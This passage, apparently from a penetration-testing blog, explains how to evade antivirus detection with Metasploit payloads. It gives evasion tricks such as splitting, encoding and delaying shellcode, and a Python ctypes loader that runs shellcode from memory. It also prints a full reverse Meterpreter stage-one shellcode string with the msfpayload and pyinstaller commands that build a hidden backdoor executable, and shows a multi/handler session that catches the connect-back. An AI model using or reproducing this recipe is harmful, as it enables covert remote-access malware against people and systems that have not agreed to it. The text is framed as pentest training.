This generates C shell code to bind a shell to TCP port 4444.   Compile it, and check to see if the AV product running in your lab detects it.  If the compiled program is detected, you have a lot of flexibility in source code.   You can try:

–        Moving part of your shell code to a different data segment

–        Compile it to different PE, Old EXE, or COM (yes… I said .COM) formats

–        Break the shell code up into smaller strings and mix the order in the source code.  Then reassemble it into a variable in memory in the correct order before calling it

–        Use timed events or wait() functions to delay the payload execution to avoid heuristic engines

–        Create your own simple encoding engine to mask the bytes… it is easier than you think! Check out

I like writing in Python, then using pyinstaller to create an exe out of my Python script.    Here is a Python template I wrote that does the same thing as the C template provided with Metasploit:

from ctypes import *

shellcode = '<-ascii shell code here ex: \x90\x90\x90->’

memorywithshell = create_string_buffer(shellcode, len(shellcode))
shell = cast(memorywithshell, CFUNCTYPE(c_void_p))

If you want to use a Metasploit payload as your shell code, you can easily turn C source into a Python-compatible string by deleting all the double quotes and new lines using the handy tr command as follows:
$ ./msfpayload windows/shell_bind_tcp C  | tr -d '"' | tr -d '\n'

If you generate a multi-stage payload, just grab the string for stage one.  For example, to create a Metasploit framework reverse Meterpreter, I would do the following:

$ ./msfpayload windows/meterpreter/reverse_tcp LHOST= C | tr -d '"' | tr -d '\n' | more

Then grab the string produced for STAGE1 and plug it into my template as follows:

from ctypes import *

shellcode = '\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x05\x68\x7f\x00\x00\x01\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x85\xf6\x75\xec\xc3’

memorywithshell = create_string_buffer(shellcode, len(shellcode))
shell = cast(memorywithshell, CFUNCTYPE(c_void_p))

Next, I'll compile my new backdoor with pyinstaller with the following options:
$ python
$ python --onefile --noconsole
$ python shell_template\shell_template.spec

To use the new payload we setup the Metasploit framework with the multi-handler “exploit”.    Once our program is run on the target, it connects back to the framework where stage2 is delivered.

msf > use multi/handler
msf  exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf  exploit(handler) > set LHOST LHOST =>
msf  exploit(handler) > exploit

I hope you find these techniques useful as you help organizations better understand their security risks and improve their defenses through your penetration testing work!